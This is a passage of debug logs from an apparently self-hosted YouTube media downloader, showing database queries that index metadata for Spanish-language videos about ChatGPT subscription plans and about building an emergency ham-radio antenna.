s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 23:12:17.919 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=1131.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-09 15:00:37Z], 2] 23:12:17.920 [debug] QUERY OK source="media_items" db=0.9ms idle=1125.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["PARTE 4: CHATGPT NUEVAS FUNCIONALIDADES: Descubre las últimas recomendaciones para empresas con ChatGPT Teams y ChatGPT Pro. ¡Uso ilimitado! Exploramos planes de suscripción, nuevos agentes y la importancia de los modelos LLM. Analizamos la relación entre velocidad y razonamiento en la IA. ¡Optimiza tu negocio con IA ahora! #ChatGPT #IA #Negocios #OpenAI #LLM #ChatGPT #IA #Negocios #OpenAI #LLM #ChatGPTTeams #ChatGPTPro #InteligenciaArtificial #Tecnología #Innovación", "¡ChatGPT Pro Revelado! Modelos IA, Precios y Cuál Elegir Para Tu Negocio", "ebc92aff-65d7-4552-92e4-4eee43fe8c53", 40, false, "L7wmobgQ85M", "https://www.youtube.com/shorts/L7wmobgQ85M", 31, "/downloads/music/IA mí QUÉ/¡ChatGPT Pro Revelado! Modelos IA, Precios y Cuál Elegir Para Tu Negocio.m4a", false, false, true, 2, [], 91, ~U[2025-05-09 15:00:37Z], ~U[2026-02-07 22:12:17Z], ~U[2026-02-07 22:12:17Z], "PARTE 4: CHATGPT NUEVAS FUNCIONALIDADES: Descubre las últimas recomendaciones para empresas con ChatGPT Teams y ChatGPT Pro. ¡Uso ilimitado! Exploramos planes de suscripción, nuevos agentes y la importancia de los modelos LLM. Analizamos la relación entre velocidad y razonamiento en la IA. ¡Optimiza tu negocio con IA ahora! #ChatGPT #IA #Negocios #OpenAI #LLM #ChatGPT #IA #Negocios #OpenAI #LLM #ChatGPTTeams #ChatGPTPro #InteligenciaArtificial #Tecnología #Innovación", "¡ChatGPT Pro Revelado! Modelos IA, Precios y Cuál Elegir Para Tu Negocio", 40, false, "L7wmobgQ85M", "https://www.youtube.com/shorts/L7wmobgQ85M", "/downloads/music/IA mí QUÉ/¡ChatGPT Pro Revelado! Modelos IA, Precios y Cuál Elegir Para Tu Negocio.m4a", true, 2, ~U[2025-05-09 15:00:37Z]] 23:12:17.921 [debug] QUERY OK source="sources" db=0.4ms idle=124.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 23:12:17.922 [debug] QUERY OK source="media_profiles" db=0.4ms idle=3.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:12:17.922 [debug] QUERY OK source="media_items" db=0.3ms idle=3.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1420] 23:12:17.923 [debug] Current batch of media processed. Will check again in 1000ms 23:12:18.001 [debug] Current batch of media processed. Will check again in 1000ms 23:12:18.923 [debug] Current batch of media processed. Will check again in 1000ms 23:12:19.002 [debug] Current batch of media processed. Will check again in 1000ms 23:12:19.924 [debug] Current batch of media processed. Will check again in 1000ms 23:12:20.003 [debug] Current batch of media processed. Will check again in 1000ms 23:12:20.925 [debug] Current batch of media processed. Will check again in 1000ms 23:12:21.004 [debug] Current batch of media processed. Will check again in 1000ms 23:12:21.362 [info] {"source":"oban","duration":924,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:12:21.926 [debug] Current batch of media processed. Will check again in 1000ms 23:12:22.005 [debug] Current batch of media processed. Will check again in 1000ms 23:12:22.927 [debug] Current batch of media processed. Will check again in 1000ms 23:12:23.006 [debug] Current batch of media processed. Will check again in 1000ms 23:12:23.928 [debug] Current batch of media processed. Will check again in 1000ms 23:12:24.007 [debug] Current batch of media processed. Will check again in 1000ms 23:12:24.929 [debug] Current batch of media processed. Will check again in 1000ms 23:12:25.008 [debug] Current batch of media processed. Will check again in 1000ms 23:12:25.930 [debug] Current batch of media processed. Will check again in 1000ms 23:12:26.009 [debug] Current batch of media processed. Will check again in 1000ms 23:12:26.931 [debug] Current batch of media processed. Will check again in 1000ms 23:12:27.010 [debug] Current batch of media processed. Will check again in 1000ms 23:12:27.932 [debug] Current batch of media processed. Will check again in 1000ms 23:12:28.011 [debug] Current batch of media processed. Will check again in 1000ms 23:12:28.933 [debug] Current batch of media processed. Will check again in 1000ms 23:12:29.014 [debug] Current batch of media processed. Will check again in 1000ms 23:12:29.934 [debug] Current batch of media processed. Will check again in 1000ms 23:12:30.015 [debug] Current batch of media processed. Will check again in 1000ms 23:12:30.935 [debug] Current batch of media processed. Will check again in 1000ms 23:12:31.016 [debug] Current batch of media processed. Will check again in 1000ms 23:12:31.936 [debug] Current batch of media processed. Will check again in 1000ms 23:12:32.017 [debug] Current batch of media processed. Will check again in 1000ms 23:12:32.937 [debug] Current batch of media processed. Will check again in 1000ms 23:12:33.018 [debug] Current batch of media processed. Will check again in 1000ms 23:12:33.939 [debug] Current batch of media processed. Will check again in 1000ms 23:12:34.019 [debug] Current batch of media processed. Will check again in 1000ms 23:12:34.940 [debug] Current batch of media processed. Will check again in 1000ms 23:12:35.020 [debug] Current batch of media processed. Will check again in 1000ms 23:12:35.941 [debug] Current batch of media processed. Will check again in 1000ms 23:12:36.021 [debug] Current batch of media processed. Will check again in 1000ms 23:12:36.942 [debug] Current batch of media processed. Will check again in 1000ms 23:12:37.022 [debug] Current batch of media processed. Will check again in 1000ms 23:12:37.943 [debug] Current batch of media processed. Will check again in 1000ms 23:12:38.023 [debug] Current batch of media processed. Will check again in 1000ms 23:12:38.944 [debug] Current batch of media processed. Will check again in 1000ms 23:12:39.024 [debug] Current batch of media processed. Will check again in 1000ms 23:12:39.945 [debug] Current batch of media processed. Will check again in 1000ms 23:12:40.025 [debug] Current batch of media processed. Will check again in 1000ms 23:12:40.946 [debug] Current batch of media processed. Will check again in 1000ms 23:12:41.026 [debug] Current batch of media processed. Will check again in 1000ms 23:12:41.947 [debug] Current batch of media processed. Will check again in 1000ms 23:12:42.027 [debug] Current batch of media processed. Will check again in 1000ms 23:12:42.948 [debug] Current batch of media processed. Will check again in 1000ms 23:12:43.028 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "¿Se puede montar una antena sin usar cable coaxial? ¿usando cable electrico como línea de transmisión? Acompáñame en este video y descubrámoslo juntos.\n\n#preppers #antenas #radioaficionados #hamradio #prepping #diyelectronics #nanovna \n\n------------------- Contenido del video ------------------------------\n00:00 - Presentación\n01:03 - Intro canal\n01:21 - Antena sin coaxial\n05:05 - ¿Que vámos a hacer?\n07:50 - Montando la antena\n09:45 - Línea paralela\n20:46 - Subiéndola al mástil\n22:50 - Probándola con la IC705\n25:01 - ¡Contacto!\n26:32 - Analizador nanoVNA\n28:34 - Conclusiones\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 1874, "filename" => "/downloads/music/ea3grn/093 - LA ANTENA MAS SIMPLE PARA EMERGENCIAS SIN COAXIAL.m4a", "id" => "1jCA8n-Qx68", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=1jCA8n-Qx68", "playlist_index" => 88, "timestamp" => 1664645754, "title" => "093 - LA ANTENA MAS SIMPLE PARA EMERGENCIAS SIN COAXIAL", "upload_date" => "20221001"} 23:12:43.029 [debug] QUERY OK source="sources" db=0.5ms idle=1242.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 23:12:43.030 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1243.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 23:12:43.031 [debug] QUERY OK source="media_items" db=0.7ms idle=1187.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-10-01 17:35:54Z], 3] 23:12:43.033 [debug] QUERY OK source="media_items" db=1.1ms idle=244.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["¿Se puede montar una antena sin usar cable coaxial? ¿usando cable electrico como línea de transmisión? Acompáñame en este video y descubrámoslo juntos.\n\n#preppers #antenas #radioaficionados #hamradio #prepping #diyelectronics #nanovna \n\n------------------- Contenido del video ------------------------------\n00:00 - Presentación\n01:03 - Intro canal\n01:21 - Antena sin coaxial\n05:05 - ¿Que vámos a hacer?\n07:50 - Montando la antena\n09:45 - Línea paralela\n20:46 - Subiéndola al mástil\n22:50 - Probándola con la IC705\n25:01 - ¡Contacto!\n26:32 - Analizador nanoVNA\n28:34 - Conclusiones\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "093 - LA ANTENA MAS SIMPLE PARA EMERGENCIAS SIN COAXIAL", "705f782b-2744-4d4e-a334-1ffcc2fd74ac", 1874, false, "1jCA8n-Qx68", "https://www.youtube.com/watch?v=1jCA8n-Qx68", 88, "/downloads/music/ea3grn/093 - LA ANTENA MAS SIMPLE PARA EMERGENCIAS SIN COAXIAL.m4a", false, false, false, 3, [], 98, ~U[2022-10-01 17:35:54Z], ~U[2026-02-07 22:12:43Z], ~U[2026-02-07 22:12:43Z], "¿Se puede montar una antena sin usar cable coaxial? ¿usando cable electrico como línea de transmisión? Acompáñame en este video y descubrámoslo juntos.\n\n#preppers #antenas #radioaficionados #hamradio #prepping #diyelectronics #nanovna \n\n------------------- Contenido del video ------------------------------\n00:00 - Presentación\n01:03 - Intro canal\n01:21 - Antena sin coaxial\n05:05 - ¿Que vámos a hacer?\n07:50 - Montando la antena\n09:45 - Línea paralela\n20:46 - Subiéndola al mástil\n22:50 - Probándola con la IC705\n25:01 - ¡Contacto!\n26:32 - Analizador nanoVNA\n28:34 - Conclusiones\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "093 - LA ANTENA MAS SIMPLE PARA EMERGENCIAS SIN COAXIAL", 1874, false, "1jCA8n-Qx68", "https://www.youtube.com/watch?v=1jCA8n-Qx68", "/downloads/music/ea3grn/093 - LA ANTENA MAS SIMPLE PARA EMERGENCIAS SIN COAXIAL.m4a", false, 3, ~U[2022-10-01 17:35:54Z]] 23:12:43.033 [debug] QUERY OK source="sources" db=0.3ms idle=188.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 23:12:43.034 [debug] QUERY OK source="media_profiles" db=0.3ms idle=4.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:12:43.034 [debug] QUERY OK source="media_items" db=0.3ms idle=3.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1485] 23:12:43.035 [debug] Current batch of media processed. Will check again in 1000ms 23:12:43.949 [debug] Current batch of media processed. Will check again in 1000ms 23:12:44.035 [debug] Current batch of media processed. Will check again in 1000ms 23:12:44.950 [debug] Current batch of media processed. Will check again in 1000ms 23:12:45.036 [debug] Current batch of media processed. Will check again in 1000ms 23:12:45.951 [debug] Current batch of media processed. Will check again in 1000ms 23:12:46.037 [debug] Current batch of media processed. Will check again in 1000ms 23:12:46.952 [debug] Current batch of media processed. Will check again in 1000ms 23:12:47.038 [debug] Current batch of media processed. Will check again in 1000ms 23:12:47.953 [debug] Current batch of media processed. Will check again in 1000ms 23:12:48.039 [debug] Current batch of media processed. Will check again in 1000ms 23:12:48.954 [debug] Current batch of media processed. Will check again in 1000ms 23:12:49.040 [debug] Current batch of media processed. Will check again in 1000ms 23:12:49.955 [debug] Current batch of media processed. Will check again in 1000ms 23:12:50.041 [debug] Current batch of media processed. Will check again in 1000ms 23:12:50.956 [debug] Current batch of media processed. Will check again in 1000ms 23:12:51.042 [debug] Current batch of media processed. Will check again in 1000ms 23:12:51.364 [info] {"source":"oban","duration":990,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:12:51.957 [debug] Current batch of media processed. Will check again in 1000ms 23:12:52.043 [debug] Current batch of media processed. Will check again in 1000ms 23:12:52.958 [debug] Current batch of media processed. Will check again in 1000ms 23:12:53.044 [debug] Current batch of media processed. Will check again in 1000ms 23:12:53.959 [debug] Current batch of media processed. Will check again in 1000ms 23:12:54.045 [debug] Current batch of media processed. Will check again in 1000ms 23:12:54.960 [debug] Current batch of media processed. Will check again in 1000ms 23:12:55.046 [debug] Current batch of media processed. Will check again in 1000ms 23:12:55.961 [debug] Current batch of media processed. Will check again in 1000ms 23:12:56.047 [debug] Current batch of media processed. Will check again in 1000ms 23:12:56.962 [debug] Current batch of media processed. Will check again in 1000ms 23:12:57.048 [debug] Current batch of media processed. Will check again in 1000ms 23:12:57.963 [debug] Current batch of media processed. Will check again in 1000ms 23:12:58.049 [debug] Current batch of media processed. Will check again in 1000ms 23:12:58.964 [debug] Current batch of media processed. Will check again in 1000ms 23:12:59.050 [debug] Current batch of media processed. Will check again in 1000ms 23:12:59.965 [debug] Current batch of media processed. Will check again in 1000ms 23:13:00.051 [debug] Current batch of media processed. Will check again in 1000ms 23:13:00.155 [info] {"source":"oban","duration":261,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:13:00.966 [debug] Current batch of media processed. Will check again in 1000ms 23:13:01.052 [debug] Current batch of media processed. Will check again in 1000ms 23:13:01.967 [debug] Current batch of media processed. Will check again in 1000ms 23:13:02.053 [debug] Current batch of media processed. Will check again in 1000ms 23:13:02.968 [debug] Current batch of media processed. Will check again in 1000ms 23:13:03.054 [debug] Current batch of media processed. Will check again in 1000ms 23:13:03.969 [debug] Current batch of media processed. Will check again in 1000ms 23:13:04.055 [debug] Current batch of media processed. Will check again in 1000ms 23:13:04.970 [debug] Current batch of media processed. Will check again in 1000ms 23:13:05.056 [debug] Current batch of media processed. Will check again in 1000ms 23:13:05.971 [debug] Current batch of media processed. Will check again in 1000ms 23:13:06.057 [debug] Current batch of media processed. Will check again in 1000ms 23:13:06.972 [debug] Current batch of media processed. Will check again in 1000ms 23:13:07.058 [debug] Current batch of media processed. Will check again in 1000ms 23:13:07.973 [debug] Current batch of media processed. Will check again in 1000ms 23:13:08.059 [debug] Current batch of media processed. Will check again in 1000ms 23:13:08.974 [debug] Current batch of media processed. Will check again in 1000ms 23:13:09.060 [debug] Current batch of media processed. Will check again in 1000ms 23:13:09.975 [debug] Current batch of media processed. Will check again in 1000ms 23:13:10.061 [debug] Current batch of media processed. Will check again in 1000ms 23:13:10.976 [debug] Current batch of media processed. Will check again in 1000ms 23:13:11.062 [debug] Current batch of media processed. Will check again in 1000ms 23:13:11.977 [debug] Current batch of media processed. Will check again in 1000ms 23:13:12.063 [debug] Current batch of media processed. Will check again in 1000ms 23:13:12.978 [debug] Current batch of media processed. Will check again in 1000ms 23:13:13.064 [debug] Current batch of media processed. Will check again in 1000ms 23:13:13.979 [debug] Current batch of media processed. Will check again in 1000ms 23:13:14.065 [debug] Current batch of media processed. Will check again in 1000ms 23:13:14.980 [debug] Current batch of media processed. Will check again in 1000ms 23:13:15.066 [debug] Current batch of media processed. Will check again in 1000ms 23:13:15.981 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "PARTE 3: CHATGPT NUEVAS FUNCIONALIDADES: Descubre las opciones de ChatGPT: Plus para uso personal, Teams para empresas y Pro para uso intensivo. ¡Analizamos los precios y las ventajas de cada plan, incluyendo la herramienta Operator, aún no disponible en Europa! ¡Únete a nosotros para explorar estas herramientas avanzadas! #ChatGPT #InteligenciaArtificial #IA #ChatGPTPlus #ChatGPTTeams #ChatGPTPro #OperatorTool #HerramientasIA #Tecnología #Innovación", "duration" => 58, "filename" => "/downloads/music/IA mí QUÉ/¡ChatGPT Pro Revelado! ¿Vale la pena pagar 200$ al mes?.m4a", "id" => "nM2u_c9MCEk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/nM2u_c9MCEk", "playlist_index" => 32, "timestamp" => 1746799120, "title" => "¡ChatGPT Pro Revelado! ¿Vale la pena pagar 200$ al mes?", "upload_date" => "20250509"} 23:13:15.982 [debug] QUERY OK source="sources" db=0.4ms idle=1195.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 23:13:15.983 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1195.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 23:13:15.984 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=1081.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-09 13:58:40Z], 2] 23:13:15.985 [debug] QUERY OK source="media_items" db=1.0ms idle=197.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["PARTE 3: CHATGPT NUEVAS FUNCIONALIDADES: Descubre las opciones de ChatGPT: Plus para uso personal, Teams para empresas y Pro para uso intensivo. ¡Analizamos los precios y las ventajas de cada plan, incluyendo la herramienta Operator, aún no disponible en Europa! ¡Únete a nosotros para explorar estas herramientas avanzadas! #ChatGPT #InteligenciaArtificial #IA #ChatGPTPlus #ChatGPTTeams #ChatGPTPro #OperatorTool #HerramientasIA #Tecnología #Innovación", "¡ChatGPT Pro Revelado! ¿Vale la pena pagar 200$ al mes?", "c45c2053-d440-46f8-8d17-5e5e30cf5007", 58, false, "nM2u_c9MCEk", "https://www.youtube.com/shorts/nM2u_c9MCEk", 32, "/downloads/music/IA mí QUÉ/¡ChatGPT Pro Revelado! ¿Vale la pena pagar 200$ al mes?.m4a", false, false, true, 2, [], 91, ~U[2025-05-09 13:58:40Z], ~U[2026-02-07 22:13:15Z], ~U[2026-02-07 22:13:15Z], "PARTE 3: CHATGPT NUEVAS FUNCIONALIDADES: Descubre las opciones de ChatGPT: Plus para uso personal, Teams para empresas y Pro para uso intensivo. ¡Analizamos los precios y las ventajas de cada plan, incluyendo la herramienta Operator, aún no disponible en Europa! ¡Únete a nosotros para explorar estas herramientas avanzadas! #ChatGPT #InteligenciaArtificial #IA #ChatGPTPlus #ChatGPTTeams #ChatGPTPro #OperatorTool #HerramientasIA #Tecnología #Innovación", "¡ChatGPT Pro Revelado! ¿Vale la pena pagar 200$ al mes?", 58, false, "nM2u_c9MCEk", "https://www.youtube.com/shorts/nM2u_c9MCEk", "/downloads/music/IA mí QUÉ/¡ChatGPT Pro Revelado! ¿Vale la pena pagar 200$ al mes?.m4a", true, 2, ~U[2025-05-09 13:58:40Z]] 23:13:15.986 [debug] QUERY OK source="sources" db=0.3ms idle=82.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 23:13:15.987 [debug] QUERY OK source="media_profiles" db=0.4ms idle=3.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:13:15.987 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=3.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND 